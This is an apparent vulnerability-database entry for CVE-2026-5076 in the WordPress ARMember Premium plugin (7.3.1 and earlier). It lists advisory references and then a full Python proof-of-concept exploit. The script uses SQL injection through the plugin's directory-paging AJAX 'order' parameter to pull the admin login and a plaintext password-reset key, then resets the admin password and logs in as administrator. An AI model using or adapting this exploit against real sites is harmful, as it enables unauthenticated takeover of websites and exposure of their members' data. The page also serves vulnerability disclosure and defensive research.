| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-5076 | 2 Jun 202618:30 | – | attackerkb | |
| CVE-2026-5076 | 2 Jun 202620:57 | – | circl | |
| CVE-2026-5076 | 2 Jun 202618:30 | – | cve | |
| CVE-2026-5076 ARMember Premium <= 7.3.1 - Insecure Password Reset Mechanism to Unauthenticated Privilege Escalation | 2 Jun 202618:30 | – | cvelist | |
| EUVD-2026-34003 | 2 Jun 202618:30 | – | euvd | |
| Exploit for CVE-2026-5076 | 5 Jun 202603:57 | – | githubexploit | |
| CVE-2026-5076 | 2 Jun 202620:16 | – | nvd | |
| 📄 WordPress ARMember Premium 7.3.1 Insecure Password Reset | 4 Jun 202600:00 | – | packetstorm | |
| WordPress ARMember Premium – Membership plugin, Content Restriction, Member Levels, User Profile & User signup plugin <= 7.3.1 - Insecure Password Reset Mechanism to Unauthenticated Privilege Escalation vulnerability | 4 Jun 202609:11 | – | patchstack | |
| PT-2026-45846 | 2 Jun 202600:00 | – | ptsecurity |
==================================================================================================================================
| # Title : WordPress ARMember Premium 7.3.1 SQL Injection and Account Takeover |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://codecanyon.net/item/armember-complete-wordpress-membership-system/17785056 |
==================================================================================================================================
[+] Summary : This Python script implements a multi-stage exploitation workflow targeting a vulnerable WordPress environment using a SQL injection flaw associated with ARMember functionality.
[+] POC :
import requests
import string
def exploit_armember(target_url, directory_page, nonce, template_id):
"""exploit for CVE-2026-5076"""
admin_user = extract_sqli_string(
target_url, nonce, template_id,
"(SELECT user_login FROM wp_users WHERE ID=1)"
)
print(f"[+] Admin user: {admin_user}")
reset_key = extract_sqli_string(
target_url, nonce, template_id,
"(SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' LIMIT 1)"
)
print(f"[+] Plaintext reset key: {reset_key}")
reset_url = f"{target_url}/?armrp=true&key={reset_key}&login={admin_user}"
r = requests.get(reset_url)
if "Reset Password" in r.text:
requests.post(reset_url, data={
'pass1': 'Hacked123!',
'pass2': 'Hacked123!',
'key': reset_key,
'login': admin_user
})
print("[+] Password changed successfully!")
login_data = {
'log': admin_user,
'pwd': 'Hacked123!',
'wp-submit': 'Log In'
}
login_response = requests.post(f"{target_url}/wp-login.php", data=login_data)
if "dashboard" in login_response.text.lower():
print("[✓] ADMIN ACCESS CONFIRMED!")
def extract_sqli_string(target, nonce, tid, query):
"""Binary search via error-based boolean oracle"""
result = ""
charset = string.ascii_letters + string.digits
for pos in range(1, 50):
for char in charset:
payload = f"ASC,IF(SUBSTRING(({query}),{pos},1)='{char}',1,EXP(710))"
response = requests.post(
f"{target}/wp-admin/admin-ajax.php",
data={
'action': 'arm_directory_paging_action',
'arm_wp_nonce': nonce,
'template_id': tid,
'type': 'directory',
'order': payload
}
)
if len(response.text) > 1000: # Success response size
result += char
break
else:
break
return result
if __name__ == "__main__":
exploit_armember(
target_url="https://vulnerable-site.com",
directory_page="/members/",
nonce="a1b2c3d4e5f67890",
template_id="123"
)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation